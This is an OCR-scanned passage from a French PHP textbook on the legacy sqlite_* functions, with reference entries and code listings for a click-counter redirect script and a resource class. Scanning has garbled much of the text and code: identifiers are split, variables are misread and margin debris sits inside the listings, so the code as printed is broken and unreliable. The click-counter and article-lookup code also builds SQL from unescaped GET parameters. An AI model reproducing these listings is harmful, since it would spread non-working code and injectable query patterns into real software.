Comme pour toute base de donnees avant meme de pouvoir effectuer une requete, une «° ™ 



sqlite_open() 



Etablit une connexion (non persistante) avec le serveur de bases de donnees. La base de 
donnees est cree si elle n'existe pas deja. 

Syntaxe resource sql i te_open (stri ng $nomFichier [, int $mode [, string 

&$messageErreur]] ) 

$nomFi chi er Nom du fichier representant la base de donnees. Si le fichier n'existe pas il 

est cree (et la base de donnees associee egalement). Le chemin peut etre 
relatif ou absolu, assurer vous d'avoir l'autorisation en ecriture dans le 
repertoire ou vous voulez creer le fichier. 

$mode A ce jour cet argument est ignore, il est cense definir le mode d'acces a la 

base de donnees. La syntaxe est celle du monde Unix (cf. chmod) par 
defaut sa valeur est 0666 (lecture et ecriture pour tous), on pourrait 
autoriser la lecture seule pour tous par la valeur 0444. 

&$messageErreur Message d'erreur expliquant pourquoi la base de donnees n'a pu etre 
ouverte. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 



REMARQUE 



Base de donnees en memoire 

Vous pouvez creer une base de donnees en memoire en remplagant le nom du fichier 
par -.memory: mais attention cela ne peut servir que pour une base de donnees 
temporaire vu qu'elle sera effacee des la fin du script en cours. 



L'utilisation d'une connexion persistante requiert, a la place, l'appel a la fonction 

sqlite_popen ( ) . 
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sqlite_popen() 



Etablit une connexion persistante avec le serveur de bases de donnees. Si une connexion 
persistante est disponible, elle sera utilisee ; sinon, une nouvelle connexion persistante sera creee. 



Syntaxe 

$nomFi chi er 

$mode 

&$messageErreur 
retour 



resource sql i te_popen (stri ng $nomFichier [, int $mode [, 
string &$messageErreur]] ) 

Nom du fichier representant la base de donnees. Si le fichier n'existe pas il 
est cree (et la base de donnees associee egalement). Le chemin peut etre 
relatif ou absolu, assurer vous d'avoir l'autorisation en ecriture dans le 
repertoire ou vous voulez creer le fichier. 

A ce jour cet argument est ignore, il est cense definir le mode d'acces a la 
base de donnees. La syntaxe est celle du monde Unix (cf. chmod) par 
defaut sa valeur est 0666 (lecture et ecriture pour tous), on pourrait 
autoriser la lecture seule pour tous par la valeur 0444. 

Message d'erreur expliquant pourquoi la base de donnees n'a pu etre 
ouverte. 

Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 
d'echec. 



Execution de la requete SQL 

Pour executer une requete SQL, il y a differentes methode en fonction de l'utilisation du 
resultat. Pour une requete qui retourne un nombre consequant de lignes (plus de 45), 
l'utilisation de sqlite_unbuf fered_query { ) est conseillee et Test encore plus si Ton veut 
parcourir une a une les lignes du resultat. La fonction sqlite_query ( ) quand a elle lance une 
requete sur la base de donnees et retourne un resultat plus manipulable que 
sqlite_unbuf fered_query( ) car 1'ensemble des lignes est mis en memoire, on peut en 
connaitre le nombre exact ou faire des marches arrieres. 



sqlite_query() 



Execute une requete SQL. Cette fonction est ideale pour faire des mises a jour de tables mais 
pour un SELECT retournant de nombreux resultats, la fonction 
sqlite_unbuf fered_query ( ) est plus appropriee. 

Syntaxe resource sql i te_query( (stri ng $requete, resource $idConnexion) 

resource sql ite_query(resource $idConnexion, string $requete) 
$requete Requete SQL. 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

retour Identifiant de requete SQL, ou FALSE en cas d'echec. 



SQLite 



sqlite_unbuffered_query() 



Execute une requete SQL sans mise en memoire du resultat. Cette fonction est 
particulierement adaptees pour un parcours unique d'un ensemble de lignes. 

Syntaxe resource sql i te_unbuffered_query (stri ng $requete, resource 

$idConnexion) 



v> 

CD 

to 
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resource sql i te_unbuffered_query (resource $idConnexion, string 
$requete) 

$requete Requete SQL. 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par S N g 

sqlite_open ( ) ou sqlite_popen ( ) . *" 

retour Identifiant de requete SQL, ou FALSE en cas d'echec. 

Vous serrez certainement ammenes a vouloir plus de flexibilite et pouvoir acceder a differentes 
lignes du resultat dans un ordre different de l'ordre de sortie. Pour cela vous mettrez 
probablement les donnees dans un tableau. La fonction sqlite_array_query ( ) fait 
exactement ce travail pour vous mais de facon plus rapide, elle retourne un tableau des lignes 
du resultat. Mais attention, ces operations sont extremement couteuses en memoire, il faut 
done utiliser ces methodes que tres ponctuellement pour des resultats de moins de 45 lignes 
environ. 



sqlite_array_query() 



Execute une requete SQL et stocke le resultat dans un tableau. 

Syntaxe resource sql i te_array_query (stri ng $requete, resource 

$idConnexion [, int $typeResul tat [, boolean $decodeBinaire]]) 

resource sql i te_array_query (resource $idConnexion, string 
$requete [, int $typeResul tat [, bool $decodeBinaire]] ) 

$requete Requete SQL. 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

$typeResul tat Par defaut cette valeur est mise a SQLITE_B0TH qui signifie que les 
indices du tableau seront le numero et le nom de colonne. Pour n'avoir que 
le numero de colonne il suffit de mettre SQLITE_NUM et pour le nom de 
colonne, SQLITE_ASSOC. 

$decodeBi nai re Par defaut (TRUE) PHP decodera le resultat binaire si il a ete encode par 

sqlite_escape_string ( ) . 

retour Identifiant de requete SQL, ou FALSE en cas d'echec. 
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Dans le cas d'une requete retournant un resultat (typiquement une requete select), il faudra 
egalement analyser le resultat. Mais nous verrons cela un peu plus loin. 



Deconnexion 

Pour vous deconnecter - operation theoriquement facultative mais toutefois vivement 
conseillee -, vous disposez de la fonction sqiite_close ( ) . 



sqlite_close 

Met fin a la connexion a la base de donnees et libere les ressources associees. 
Syntaxe void sql 1 ite_close (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . Si la connexion etait 
persistante, elle est fermee et retiree de la liste des connexions 
persistantes. 



Lecture des enregistrements 

Dans ce premier exemple nous allons juste nous connecter a la base de donnees, creer une 
table, y inserer une donnee et la retrouver par trois requetes SQL successives. 

Nous avons vu les fonctions d'ouverture, de fermeture et de requete, voyons une fonction qui 
nous manque pour le cours exemple qui suit. 



sqlite_fetch_array() 



Retourne la ligne courante du resultat d'une requete sous la forme d'un tableau, le curseur 
passe a la ligne suivante une fois la fonction terminee. Les elements pourront etre recuperes 
soit par leur indice de colonne, soit par le nom de colonne. 

Syntaxe array sql i te_fetch_array (resource $idRequete [, int 

$typeResul tat [, booleanl $decodeBinaire]]) 

$i dRequete Identifiant de la requete. 

$typeResul tat Par defaut cette valeur est mise a SQLITE_B0TH qui signifie que les 
indices du tableau seront le numero et le nom de colonne. Pour n'avoir que 
le numero de colonne il suffit de mettre SQLITE_NUM et pour le nom de 
colonne, SQLITE_ASSOC. 

$decodeBi nai re Par defaut (TRUE) PHP decodera le resultat binaire si il a ete encode par 
sqlite_escape_string ( ) . 

retour Un tableau representant la ligne suivante du resultat en cours de lecture. 



SQLite 



Listing 10.77 : sqlite open.php 

<?php 

// Ouverture et creation de la base de donnees maBaseDeDonnees 
$bd = sql i te_open ( 'maBaseDeDonnees ' , 0666, $sql i teerror) or di e($sql i teerror) ; 
// Creation de la table maTable caracterisee par deux colonnes, maColonnel 
x d'entier 

// et maColonne2 de chaines d'au plus 25 caracteres g" p 

sqlite_query($bd, 'CREATE TABLE maTable (maColonnel int, maColonne2 «g i- 

x varchar(16))'); £ 
// Insertion de donnees n> 5? 

sqlite_query($bd, "INSERT INTO maTable VALUES (12, 'toto')"); o =: 

// Recherche des donnees = = 

$result = sql ite_query($bd, 'select * from maTable'); «j> 
// Recuperation de la premiere ligne de resultat 
$1 i gne = sql i te_fetch_array ($resul t) ; 
// Affichage de la ligne par les indices de colonnes 
echo($ligne[0] . ":" .$1 igne[l] ."<br />\n"); 
// Affichage de la ligne par les noms de colonnes 
echo($l igne[ 'maCol onnel '].":" .$1 igne['maCol onne2 '] . "<br />\n") ; 
sql i te_cl ose($bd) ; 
?> 

La fonction sqiite_current ( ) tres similaire a sqlite_f etch_array ( ) permet de mettre 
une ligne dans un tableau sans passer a la ligne suivante. Cette fonction ne fonctionnera pas si 

VOUS avez Utilise sqlite_unbuf fered_query ( ) . 



sqlite_current() 



Retourne la ligne courante du resultat d'une requete sous la forme d'un tableau sans deplacer 
le curseur. Les elements pourront etre recuperes soit par leur indice de colonne, soit par le nom 
de colonne. 

Syntaxe array sqlite_current(resource $idRequete [, int $typeResul tat 

[, boolean $decodeBinaire]]) 

$i dRequete Identifiant de la requete. 

$typeResul tat Par defaut cette valeur est mise a SQLITE_B0TH qui signifie que les 
indices du tableau seront le numero et le nom de colonne. Pour n'avoir que 
le numero de colonne il suffit de mettre SQLITE_NUM et pour le nom de 
colonne, SQLITE_ASS0C. 

$decodeBi nai re Par defaut (TRUE) PHP decodera le resultat binaire si il a ete encode par 

sqlite_escape_string ( ) . 

retour Un tableau representant la ligne suivante du resultat en cours de lecture. 



Pour ne pas avoir creer un tableau lorsque Ton veux recuperer qu'un seul champ d'une table 
(par exemple l'identifiant lors d'une requete du type 1 select id from maTable ' , la fonction 
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sql ite_fetch_single() ou sql i te_fetch_stri ng () qui est un alias, permet de recuperer 
directement le premier champ et de passer a la ligne suivante. 



sqlite_fetch_single() , sqlite_fetch_string() 

Permet de recuperer directement la valeur du premier champ d'un resultat. 

Syntaxe string sql i te_fetch_si ngl e (resource $idRequete [, boolean 

$decodeBi nai re]] ) 

$i dRequete Identifiant de la requete. 

$decodeBi nai re Par defaut (TRUE) PHP decodera le resultat binaire si il a ete encode par 
sqlite_escape_string ( ) . 

retour La valeur du premier champ de la ligne en cours. 



Listing 10.78 : sqlite fetch single.php 

<?php 

// Ouverture et creation de la base de donnees test 

$bd = sql ite_open ( 1 test 1 , 0666, $sql i teerror) or die($sql iteerror) ; 

// Creation de la table maTable 

sqlite_query($bd, 1 CREATE TABLE maTable 

(maCol onnel varchar(25), maColonne2 varchar(16) ) ' ) ; 
// Insertion de donnees 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Laurent 1 , 'Guedon')"); 
sqlite_query($bd, "INSERT INTO maTable VALUES ('Pierre-Emmanuel 1 , 'Muller')"); 
sqlite_query($bd, "INSERT INTO maTable VALUES ('Damien', 'Heute')"); 
sqlite_query($bd, "INSERT INTO maTable VALUES ('Thomas', 'Heute')"); 
// Recherche des donnees 

$result = sql ite_unbuffered_query($bd, 'select * from maTable'); 
echo sqlite_fetch_single($result, SQLITEJIUM); 
echo sqlite_fetch_single($result, SQLITE_NUM) ; 
echo sql i te_fetch_si ngl e($resul t) ; 
echo sql ite_fetch_single($result) ; 
sql i te_cl ose($bd) ; 
?> 



Le resultat attendu est le suivant : (au formattage de texte pres) 
Laurent 

Pierre- Emmanuel 

Damien 

Thomas 



Si une ligne possede de nombreuses colonnes ou est particulierement volumineuse (avec des 
champs binaires par exemple) il est avantageux de ne pas charger toute la ligne mais seulement 
la colonne interesssante. 



SQLite 



sqlite_column() 



Retourne le contenu de la colonne de la ligne courante. 

Syntaxe mixed sql ite_col umn(resource $idRequete, mixed $indiceOuNom [, 

boolean $decodeBi nai re] ) 

$i dRequete Identifiant de requete. 

$i ndi ceOuNom Numero de colonne ou son nom. 

$decodeBi nai re Par defaut (TRUE) PHP decodera le resultat binaire si il a ete encode par 

sqlite_escape_string ( ) . 

retour Le contenu de la colonne demandee. 

Pour parcourir un ensemble de resultats, la fonction sqlite_has_more ( ) permet de savoir s'il 
reste des lignes en attente d'etre traitees. 
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sqlite_has_more() 

Cette fonction permet lors du parcours d'un reultat a savoir si il reste des lignes a parcourir. 

Syntaxe boolean sql i te_has_more(resource $i dRequete) 

$ i d Req uet e Identifiant de requete. 

retour TRUE si il reste des lignes a analyser. 

Listing 10.79 : sqlite unbuffered query.php 

<?php 

// Ouverture et creation de la base de donnees test 

$bd = sql i te_open ( 1 test 1 , 0666, $sql iteerror) or die($sql iteerror) ; 

// Creation de la table maTable 

sqlite_query($bd, 'CREATE TABLE maTable 

(maColonnel varchar(25), maColonne2 varchar (16) ) ' ) ; 
// Insertion de donnees 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Laurent 1 , 'Guedon')"); 
sqlite_query($bd, "INSERT INTO maTable VALUES ('Pierre-Emmanuel', 'Muller')"); 
sqlite_query($bd, "INSERT INTO maTable VALUES ('Damien', 'Heute')"); 
sqlite_query($bd, "INSERT INTO maTable VALUES ('Thomas', 'Heute')"); 
// Recherche des donnees 

$result = sql i te_unbuffered_query ($bd, 'select * from maTable'); 
// Recuperation une a une des lignes de resultat 
while (sqlite_has_more($result)) { 

$ligne = sql ite_fetch_array($result, SQLITEJIUM) ; 

echo($ligne[0] ." " .$1 igne[l] . "<br />\n"); 

} 

sqlite_close($bd); 

?> 
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Deplacement du curseur 

Le parcours d'une table s'effectue avec un curseur. La plupart des fonctions de lecture de lignes 
deplacent le curseur a la ligne suivante. II peut-etre interessant de deplacer le curseur de 
maniere plus controlee. 

Pour deplacer le curseur sur la ligne suivante, il suffit de faire appel a sqlite_next ( ) . 



sqlite_next() 

Cette fonction permet de deplacer le curseur a la ligne suivante. Elle ne fonctionnera pas si 
vous avez utilise sqlite_unbuffered_query(). 

Syntaxe boolean sql ite_next (resource $idRequete) 

$idRequete Identifiant de requete. 

retour TRUE si il y avait une ligne suivante, FALSE si c'etait la derniere ligne. 



sqlite_rewind() 

Cette fonction permet de rammener le curseur a la premiere ligne. Elle ne fonctionnera pas si 

VOUS avez utilise sqlite_unbuf fered_query (). 

Syntaxe boolean sql ite_rewind (resource $idRequete) 

$i dRequete Identifiant de requete. 

retour FALSE si le resultat de la requete est vide. 



sqlite_seek() 



Cette fonction permet d'ammener le curseur a la ligne voulue. Elle ne fonctionnera pas si vous 

avez Utilise sqlite_unbuf fered_query ( ) . 

Syntaxe boolean sql ite_seek(resource $idRequete, int $numeroLigne) 

$i dRequete Identifiant de requete. 

$numeroLigne Numero de la ligne ou ammener le curseur. 

retour FALSE si la ligne n'existe pas, TRUE sinon. 



Gestion des erreurs 



Lors de l'ouverture d'une base de donnees l'eventuel message d'erreur peut-etre recupere en 
passant une chaine de caractere par reference. Deux autres fonctions servent a la gestion des 



SQLite 



erreurs, la premiere permet de recuperer le code d'erreur de la derniere operation effectuee 
sur une connexion. 



sqlite_last_error() 



Retourne le code d'erreur de la derniere operation effectuee sur une connexion donnee. (0 si g 
il n'y a pas eu d'erreur) 

Syntaxe resource sql i te_l ast_error (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

retour Code d'erreur. 

A partir de ce code, il est possible d'avoir une explication textuelle grace a sqlite_error_string(). 



GO 
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sqlite_error_string () 

Retourne le message d'erreur correspondant au code fourni. 

Syntaxe string sqlite_error_string(int $codeErreur) 

$codeErreur Code d'erreur tel que retourne par sqlite_last_error ( ) . 

retour Message d'erreur. 

Appliquer une fonction automatiquement 

Particularity de SQLite, il est possible d'appliquer une fonction PHP sur le resultat au niveau de 
la requete. Avant meme de voir la description de sqlite_create_f unction ( ) , voici un petit 
exemple l'utilisant. 

Le programme suivant ouvre une connexion avec une base de donnees en memoire, cree une 
table et y insere des donnees. Ensuite y est defini la fonction nomComplet() qui concatene deux 
parametres separe d'un espace. L'appel a sqlite_create_function ( ) permet de declarer a 
SQLite une fonction nom() liee a nomComplet() et qui prend deux arguments en parametre. 
La requete est particuliere, on applique la fonction nom() sur les deux colonnes ce qui a pour 
consequence de n'avoir plus qu'une colonne resultat et ainsi il suffit de faire appel a 
sqlite_fetch_singie ( ) pour recuperer le resultat voulu. 

Listing 10.80 : sqlite_create_function.php 

<?php 

// Ouverture et creation de la base de donnees 

$bd = sql i te_open ( 1 :memory : 1 , 0666, $sql iteerror) or die($sql i teerror) ; 
// Creation de la table maTable 
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sqlite_query($bd, 1 CREATE TABLE maTable 

(maColonnel varchar(25), maColonne2 varchar(16) ) ' ) ; 



// Insertion de donnees 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Laurent 1 , 'Guedon')"); 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Pierre-Emmanuel 1 , 'Muller')"); 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Damien', 'Heute')"); 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Thomas', 'Heute')"); 



// Declaration a SQLite de la fonction nomComplet 
sqlite_create_function($bd, 'nom', 'nomComplet', 2); 

// Recherche des donnees en appliquant la fonction 'nom' 

$result = sql ite_unbuffered_query($bd, 'select nom(maColonnel, maColonne2) from 
s< maTable'); 

// Recuperation une a une des lignes de resultat 
while (sqlite_has_more($result)) { 

echo sql ite_fetch_single($result, SQLITE_NUM) . "<br />\n"; 

} 

sql i te_cl ose($bd) ; 

?> 

Le resultat attendu est le suivant : 

Laurent Guedon 
Pierre- Emmanuel Muller 
Damien Heute 
Thomas Heute 




o c 
s o 



// Fonction de creation du nom complet 
function nomComplet ($prenom, $nom) { 
return $prenom." ".$nom; 



sqlite_create_function () 



Permet de declarer une fonction appelee directement dans la requete SQL. 



Syntaxe void sql ite_create_function(resource $idConnexion, string 

$nomFonction, string mixed $fonction [, int $nombreArguments] ) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 



$nomFonct i on Nom de la fonction a laquelle on veut associer la fonction PHP. 

$foncti on Nom de la fonction que vous avez defini precedement. 

$nombreArguments Nombre d'arguments que prend la fonction. 
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En plus de traiter les lignes, il est possible de definir une fonction qui aura pour objectif de 
traiter l'ensemble des lignes. 



sqlite_create_aggregate () 



Syntaxe void sql ite_create_aggregate (resource $idConnexion, string 

$nomFonction, string mixed $fonction, mixed $foncti onFi nal e [, 
int $nombreArguments] ) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

$nomFonct i on Nom de la fonction a laquelle on veut associer la fonction PHP. 

$foncti on Nom de la fonction que vous avez defini precedement. 

$foncti onFimal e Nom de la fonction par laquelle passer l'ensemble du reultat. 

$nombreArguments Nombre d'arguments que prend la fonction. 

Voici un exemple qui ne sert a rien d'autre que de mieux comprendre : 



Permet de declarer une fonction traitant l'ensemble des lignes du resultat. g 



GO 
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Listing 10.81 : sqlite create aggregate.php 

<?php 

// Ouverture et creation de la base de donnees test 

$bd = sql i te_open ( 1 :memory : 1 , 0666, $sql iteerror) or die ($sql i teerror) ; 

// Creation de la table maTable 

sqlite_query($bd, 'CREATE TABLE maTable 

(maColonnel varchar(25), maColonne2 varchar (16) ) ' ) ; 



// Fonction de creation du nom complet 
function nomComplet(&$cumul , $prenom, $nom) { 
$cumul [] = $prenom." ".$nom; 

} 

function cumul Nom(&$cumul ) { 

return $cumul [0] . " : " .$cumul [1] . " : " .$cumul [2] . " : " .$cumul [3] ; 

} 



// Declaration a SQLite de la fonction nomComplet 

sql i te_create_aggregate($bd, 'nom 1 , 'nomComplet', 'cumulNom', 2); 

// Insertion de donnees 

sqlite_query($bd, "INSERT INTO maTable VALUES ('Laurent', 'Guedon')"); 
sqlite_query($bd, "INSERT INTO maTable VALUES ('Pierre-Emmanuel', 'Muller')"); 
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sqlite_query($bd, "INSERT INTO maTable VALUES ('Damien', 'Heute')"); 
sqlite_query($bd, "INSERT INTO maTable VALUES ('Thomas', 'Heute')"); 

// Recherche des donnees en appliquant la fonction 'nom' 

$result = sql ite_unbuffered_query($bd, 'select nom(maColonnel, maCol onne2) from 
s-= maTable'); 

echo sqlite_fetch_single($result, SQLITE_NUM) . "<br />\n"; 
sqlite_close($bd); 

?> 

Le resultat obtenu est le suivant : 

Laurent Guedon: Pierre-Emmanuel Muller:Damien Heute: Thomas Heute 

Quelques explications peuvent etre utiles. Chacune des entrees est soumise a la fonction 
nomComplet ( ) en plus d'une reference vers une variable ($cumul dans l'exemple). Cette 
derniere permet de garder un pointeur vers un objet (ici un simple tableau). A la fin du 
traitement de chacune des lignes ce meme pointeur est fourni a la fonction cumulNom ( ) qui est 
chargee d'effectuer les dernieres operations sur l'objet. Bien sur dans l'exemple on aurait pu 
faire bien plus simple, mais 5a n'aurait pas ete drole... 



Exemples ^applications 



Compteur de dies 

Une application courante d'utilisation des bases de donnees, et simple a mettre en oeuvre, 
consiste a creer un compteur de clics. 

En effet, peut-etre souhaitez-vous proposer, sur votre site, un certain nombre de liens vers des 
sites Internet (annuaire web) ou vers des fichiers (bibliotheques de scripts). Peut-etre que 
certains (ou la totalite) de ces liens sont proposes par un partenaire. Bref, tout cela vous incite 
a savoir quelles sont les pages les plus frequemment consultees (pour connaitre les centres 
d'interet des visiteurs) et combien de visiteurs vous avez rediriges vers votre sponsor. 

La methode la plus classique consiste a stocker en base de donnees l'ensemble des liens ainsi 
proposes, et a remplacer les traditionnels liens de la forme http://www.domaine.com par un lien vers 
un script charge d'incrementer le compteur correspondant au site indique, et de rediriger le 
client vers le site grace a la fonction header ( ) . 



Vous pouvez vous reporter a Vannexe "Les en-tetes" pour plus de renseignements sur 

la redirection. 
RENVOI 



Pour notre exemple, nous utiliserons une table appelee url contenant trois champs : 

wild, identifiant de l'URL (champ auto-incremente) ; 
url, l'URL proprement dite ; 
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nbclic, le nombre de clics. 



Le script de redirection (appele ici compteurclic _redirection.php) devra alors accepter un 
parametre (urlid) et devra, a partir de ce parametre, determiner quelle est la valeur du champ 
url, incrementer nbclic pour cette URL, et rediriger vers url. 

Les appels a ce script auront alors la forme http://localhost/compteurclicj , edirection.php?urlid=3 

(pour acceder a l'TJRL ayant l'identifiant 3). A supposer que l'TJRL 3 corresponde au site a 

http://WWW.Sqlfacile.COm cela signifie que le lien <a href="http: //www. sqlfacile. com "> fn 
devra etre remplace par <a href =''compteurclic_redirection.php?urlia=3> si l'on SOU- vi 

haite en compter le nombre de clics. S 

a. 

Concretement, cette table pourra etre creee et alimentee avec la fonction cc_initialiseBD ( ) 
du script suivant : 

Listing 10.82 : compteurclic_bd_inc.php (debut) 

<?php 

I** 

* Fonction de connexion a une base de donnees 

* 

* @return resource Identifiant de connexion 

7 

function CC_connexion() 
{ 

$idConnexion = sql i te_open( 1 BaseDeDonneesCompteurCl i cs 1 , 0666, 
s-= $sql i teerror) ; 
if ( !$idConnexion) return FALSE; 
return $idConnexion; 

} 

I** 

* Fonction de deconnexion. 

* (Ne fait rien sachant que la fonction 

* de connexion etablit une connexion persistante) 

V 

function CC_deconnexion() 

{ 

return TRUE; 
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* Fonction charge de creer et d'alimenter 

* la table "compteur de clics" 

** I 

function CC_ini ti al i seBD($i dConnexion, Stable) 

{ 

// Creation de la table 

$requete = "DROP TABLE Stable"; 

@sql ite_query($idConnexion, $requete) ; 

$requete = "CREATE TABLE Stable (". 
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"urlld INTEGER ". 

"AUTO_INCREMENT PRIMARY KEY,", 
"url VARCHAR(128) NOT NULL,", 
"nbclic INTEGER DEFAULT 0,". 
"UNIQUE(url))"; 
if (!sqlite_query($idConnexion, $requete)) return FALSE; 



2 co // Alimentation de la table 



u $requete = "INSERT INTO Stable (url)". 

" VALUES ('http://www.php. net')"; 
if (!sqlite_query($idConnexion, $requete)) return FALSE; 



$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www. phpfacile.com')"; 
if (!sqlite_query($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.sqlfacile.com')"; 
if (!sqlite_query($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.xmlfacile.com')"; 
if (!sqlite_query($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.ootoogo.com')"; 
if (!sqlite_query($idConnexion, $requete)) return FALSE; 

return TRUE; 



?> 



La lecture de la liste des liens disponibles en base de donnees pourra se faire via la fonction 
cc_recupereLiens ( ) du script suivant : 

Listing 10.83 : compteurclic_bd_inc.php (milieu) 

<?php 

I** 

* Fonction retournant les informations de liens 

* sous forme d'un tableau associatif possedants 

* les cles 

* - "lien" associe au tableau des liens hypertextes 

* - "nbclic" associe au tableau des nombres de clics 

** i 

function CC_recupereLiens($idConnexion, Stable) 

{ 

// Norn du script charge du comptage et de la redirection 
$script = "compteurclic_redirection.php"; 

// Requete SELECT 

$requete = "SELECT * FROM Stable"; 
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$idResultat = sql ite_query($idConnexion, $requete) ; 



} 



// Recuperation des enregi strements les uns apres les autres 
while ($enreg = sqlite_fetch_array($idResultat)) { 
$liens["lien"] [] = "<a href=\"$script?urlid=". 

$enreg["urlld"]."\">". 
$enreg["url"] ."</a>"; 
$liens["nbclic"] [] = $enreg ["nbcl i c"] ; a- 

1 M 

' 2 

CD 

CO 

return $liens; cd 



a. as 
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L'affichage des liens consiste uniquement a mettre en page le contenu du tableau ainsi co g- 

recupere (voir la fonction du script compteurclicjitmljnc.php). *" 

Comme cela a ete precise, le lien <a href ="http : //www. sqifacile. com">http: //www 
. sqlf acile . com</a> a ete remplace par <a href = " compteurclic_redirection 
.php?urlid=3 ">http: / /www . sqlf acile . com </a>. La redirection vers le site WWW.sqlfacile 
.com est done a la charge du script compteurclic _redirection.php . 



Listing 10.84 : compteurclic redirection.php 

<?php 

// Parametres du script 

requi re_once("compteurcl i c_bd_i nc.php") ; 

Stable = "compteurclic"; 

// Connexion a la base de donnees 
SidConnexion = @CC_connexion() ; 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 

} 

// Recuperation de l'url et incrementation du compteur 

// pour l'url d'indentifiant passe en parametre de ce script 

// par la methode GET 

$url = @CC_recupereUrl (SidConnexion, $_GET["url id"] ) ; 

// Deconnexion 
@CC_deconnexion() ; 

// C'est l'heure de la redirection 
if ($url) { 

header("Location: $url"); 
} else { 

echo "Desole, nous ne pouvons vous proposer ce lien"; 

}?> 



Ce script appelle principalement la fonction cc_recupereUrl ( ) suivante : 
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Listing 10.85 : compteurclic_bd_inc.php (fin) 

<?php 

I** 

* Fonction recuperant une url a parti r de son identifiant 

* et incrementant le compteur de dies 
** i 

function CC_recupereUrl ($idConnexion, $urlid) 

{ 

global $table; 
// Recupere 1 ' url 

$requete = "SELECT * FROM $table WHERE url id=$url id" ; 
$idResultat = sql ite_query($idConnexion, $requete) ; 

if ($enreg = sql i te_fetch_array ($idResul tat) ) { 
$url = $enreg ["url "] ; 

// Incremente le compteur 

$requete = "UPDATE Stable SET nbel i c=nbcl i c+1 WHERE url id=$url id" ; 
sql ite_query($idConnexion, $requete) ; 
} else { 

$url = FALSE; 

} 

return $url ; 

}?> 



REMARQUE 



Utilisation du bouton retour 

Si, apres avoir suivi un lien, vous revenez sur la page compteurclic.php en utilisant le 
bouton retour (back), le contenu de la page ne sera pas reactualise. Par consequent, 
le nombre de visites affiche ne sera pas correct. N'oubliez done pas, dans ce cas, de 
rafraichir (bouton actualiser) la page. 



SuperTheque 

L'essentiel du code de l'application a ete presente en introduction de ce chapitre. II ne restait 
plus qu'a connaitre les fonctions SQLite pour implementer l'interface Ressourceinterf ace 
e'est desormais chose faite: 



Listing 10.86 : RessourceSQLiteclass.php 

<?php 

i ncl ude_once( "Res source I nterface_cl ass .php") ; 

i ncl ude_once(di rname( FILE ) . "/. ./conf ig/sql i te_cfg.php") ; 

I** 

* RessourceSQLite_class.php 

* Classe d'acces a une base de donnees SQLite 



* Cette classe doit implementer toutes les methodes de 1 'interface 

* Ressourcelnterface. 

* Compatibilite: PHP 5 

7 

class Ressource implements Ressourcelnterface 
{ 

var $idConnexion; 

public function connexion() 
{ 

global $sql ite_base; 

if (!isset($this->idConnexion)) { 

$idConnexion = sql i te_popen ($sql i te_base) ; 
if ( !$idConnexion) return FALSE; 
$this->idConnexion = $idConnexion; 

} 

return TRUE; 

} 

public function deconnexion() 
{ 

// Rien a faire, il s'agit d'une connexion persistante 

} 

public function reset () 
{ 

$requete = "DROP TABLE types"; 

$idResultat = @sql i te_query ($requete, $this->idConnexion) ; 

// Pas de raison de retourner un erreur 

// si la suppression echoue (si la table n'existe pas) 

$requete = "CREATE TABLE types (". 

"id INTEGER PRIMARY KEY,". 

"type VARCHAR(255))"; 
$idResultat = sql ite_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$types = array ("Album", "Film", "Livre", "Musique"); 
foreach ($types as $type) { 

$requete = "INSERT INTO types (type) VALUES ('$type')"; 

$idResultat = sql ite_query($requete, $this->idConnexion) 

if (!$idResultat) return FALSE; 

} 

$requete = "DROP TABLE articles"; 

$idResultat = @sql i te_query ($requete, $this->idConnexion) ; 

// Pas de raison de retourner un erreur 

// si la suppression echoue (si la table n'existe pas) 

$requete = "CREATE TABLE articles (". 

"id INTEGER PRIMARY KEY,". 
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"albumld INTEGER, " . 

"titre VARCHAR(255),". 

"typeld INTEGER,". 

"commentaire VARCHAR(255) ) " ; 
$idResultat = sql ite_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

} 



'«u public function addArticle($albumId, 

■2 | $titre, 

CO "O 



{ 



} 



$typeld, 
$commentai re) 

$requeteDebut = "INSERT INTO articles (albumld, titre, typeld"; 
$requeteFin = ") VALUES ($albumld,". 

.sql i te_escape_stri ng ($ti tre) . " 1 , " . 

"$typeld"; 

if ($commentaire != "") { 

$requeteDebut .= ", commentaire"; 

$requeteFin .= " , 1 " . sql i te_escape_stri ng ($commentai re) ; 

} 

$requete = $requeteDebut . $requeteFin . ")"; 
$idResultat = sql ite_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 



public function getArticle($articleId) 

{ 

$requete = "SELECT * FROM articles WHERE id=$articleld"; 
$idResultat = sql ite_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$article = NULL; 

if ($enreg = sqlite_fetch_array($idResultat)) { 
$article = $thi s->enreg2Arti cl e($enreg) ; 

} 

return $article; 

} 

public function getArticles(Filtre $filtre, Plage $plage, Tri $tri) 

{ 

$requete = "SELECT * FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

